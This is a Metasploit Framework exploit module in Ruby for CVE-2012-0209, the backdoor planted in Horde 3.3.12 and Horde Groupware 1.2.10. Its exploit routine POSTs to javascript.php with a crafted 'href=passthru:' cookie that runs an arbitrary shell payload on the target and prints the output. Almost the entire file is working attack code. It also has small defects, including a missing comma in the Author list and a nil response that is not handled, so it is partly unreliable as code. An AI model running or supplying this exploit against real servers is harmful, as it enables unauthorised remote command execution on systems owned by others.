##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
    include Msf::Exploit::Remote::HttpClient
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Horde 3.3.12 Backdoor Arbitrary PHP Code Execution',
            'Description'    => %q{
                    This module exploits an arbitrary PHP code execution vulnerability introduced
                as a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10.
            },
            'Author'         => [
                'Eric Romang'# first public PoC
                'jduck'         # Metasploit module
            ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'CVE', '2012-0209'],
                    [ 'URL', 'http://dev.horde.org/h/jonah/stories/view.php?channel_id=1&id=155' ],
                    [ 'URL', 'http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/' ]
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'BadChars' => "\x0a\x0d",
                    'DisableNops' => true,
                    'Space'       => 4096,
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                        }
                },
            'Platform'       => [ 'unix', 'linux' ],
            'Arch'           => ARCH_CMD,
            'DefaultTarget'  => 0,
            'Targets'        => [[ 'Automatic', { }]],
            'DisclosureDate' => 'Feb 13 2012'
            ))
            register_options(
                [
                    OptString.new('URI', [true, "Path to Horde installation", "/horde"]),
                    OptString.new('APP', [true, "App parameter required by javascript.php (must be active)", "horde"]),
                ], self.class)
    end
    def exploit
        # Make sure the URI begins with a slash
        uri = datastore['URI']
        if uri[0,1] != '/'
            uri = '/' + uri
        end
        # Make sure the URI ends without a slash, because it's already part of the URI
        if uri[-1, 1] == '/'
            uri = uri[0, uri.length-1]
        end
        function = "passthru"
        key = Rex::Text.rand_text_alpha(6)
        arguments = "echo #{key}`"+payload.raw+"`#{key}"
        res = send_request_cgi({
            'uri'     => uri + "/services/javascript.php",
            'method'  => 'POST',
            'ctype'   => 'application/x-www-form-urlencoded',
            'data'    => "app="+datastore['APP']+"&file=open_calendar.js",
            'headers' =>
            {
                'Cookie' => "href="+function+":"+arguments,
                'Connection' => 'Close',
            }
        }) #default timeout, we don't care about the response
        if (res)
            print_status("The server returned: #{res.code} #{res.message}")
        end
        resp = res.body.split(key)
        if resp and resp[1]
            print_status(resp[1])
        else
            print_error("No response found")
        end
        handler
    end

end